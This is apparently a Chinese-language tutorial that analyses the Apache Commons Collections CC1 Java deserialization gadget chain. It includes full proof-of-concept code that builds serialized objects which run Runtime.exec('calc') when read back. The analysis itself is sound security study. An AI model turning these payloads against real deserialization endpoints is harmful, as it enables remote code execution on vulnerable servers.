java_cc链1

组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ，主要封装了Java 的 Collection(集合) 相关类对象，它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件，Commons Collections被⼴泛应⽤于各种Java应⽤的开发，⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化漏洞的普遍性和严重性。

Apache Commons Collections中有⼀个特殊的接口，其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数，叫做InvokerTransformer。

环境

• CommonsCollections <= 3.2.1
• java < 8u71

调用栈

->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                	->ConstantTransformer.transform()
                    	->InvokerTransformer.transform()
                    		->…………

CC链 利用过程分析

Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

提供了一个对象转换方法transform(接收一个对象，然后对对象作一些操作并输出)

ctrl+alt+B可以快速查看哪些类实现了该接口

看一些重要的类

ConstantTransformer类

关键代码如下

public Object transform(Object input) {
        return this.iConstant;
    }

接受一个对象返回一个常量，无论接收什么对象都返回 iConstant

这个常量在构造函数当中

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

ChainedTransformer类

当传⼊的参数是⼀个数组的时候，就开始循环读取，对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

它赋值时会传入一个要调用方法的数组，然后将传入的方法链式(前一个的输出作后一个的输入)调用。

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

InvokerTransformer类

我们先看一下它的 transform 方法，传入一个对象，然后反射调用。方法值，参数类型，参数都是可控的。

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
}

为什么说是可控的呢？我们看它的构造方法就会明白。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

例子1

利用该方法弹出计算器

import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例，同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc)，我们之前提到了 transform 方法中的反射调用，所以成功弹出计算器。

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用，寻找不同名字调用的 transform 方法，如果是transform 再调用 transform 是没有意义的，我们最后的目标是要回到 readObject 中。

最终是可以发现Map类中可以入手的（前辈们找到的）

TransformedMap类

该类有这样一个方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

我们可以根据构造函数理解一下TransformedMap 的功能，接收一个Map进来，分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用，setValue 方法调用了 checkSetValue。

唯一一处调用

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下（再去翻代码是有一些繁琐的）

MapEntry中的setValue方法其实就是Entry中的setValue方法，他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry，所以当遍历Map时，setValue方法也就执行了。(Entry接口是Map接口中的一个接口，而Entry方法中含有setValue函数)

发现这一点的话，我们就可以通过遍历Map来触发代码的执行。

例子2

写一个例子帮助理解一下。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        // 以下步骤就相当于 invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

    }
}

AnnotationInvocationHandler类

回到本职工作，我们再寻找谁调用的setValue 方法，还是不同名的方法调用。

可以在这个类中发现它的readObject方法调用了setvalue方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

回归正题

接下来我们分析 AnnotationInvocationHandler 类，需要注意的时他不是public,只能在所属包下访问到，所以我们通过反射获取。

先看一下构造函数，接收两个参数 class对象（注解）和map对象，这个map是我们可以控制的，可以放置我们构造好的map。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

例子3

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
 
 
public class demo01 {
    public static void main(String[] args) throws Exception {
 
        //演示demo，省略部分代码，通过以下代码我们就可以获得AnnotationInvocationHandler对象
 
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参，注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    
        
        //正常序列化与反序列化
        serialize(o);
        unserialize("ser.bin");
 
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
 
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

完整代码

package cc1;
 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
 
 
public class demo01 {
    public static void main(String[] args) throws Exception {
 
//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();
 
//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");
 
//        //InvokerTransformer方法获取runtime实例，并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
 
        //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例，并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
 
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);
 
 
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
 
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
 
 
 
 
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参，注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
 
        serialize(o);
        unserialize("ser.bin");
 
    }
 
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
 
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这个未成功

还有这样一个payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class demo01 {

    public static void main(String[] args) {

        //Transformer数组
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

            //动态代理类，设置一个D代理对象，为了触发 AnnotationInvocationHandler#invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

这个payload是利用动态代理触发AnnotationInvocationHandler的invoke方法从而调用LazyMap的get方法实现的

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

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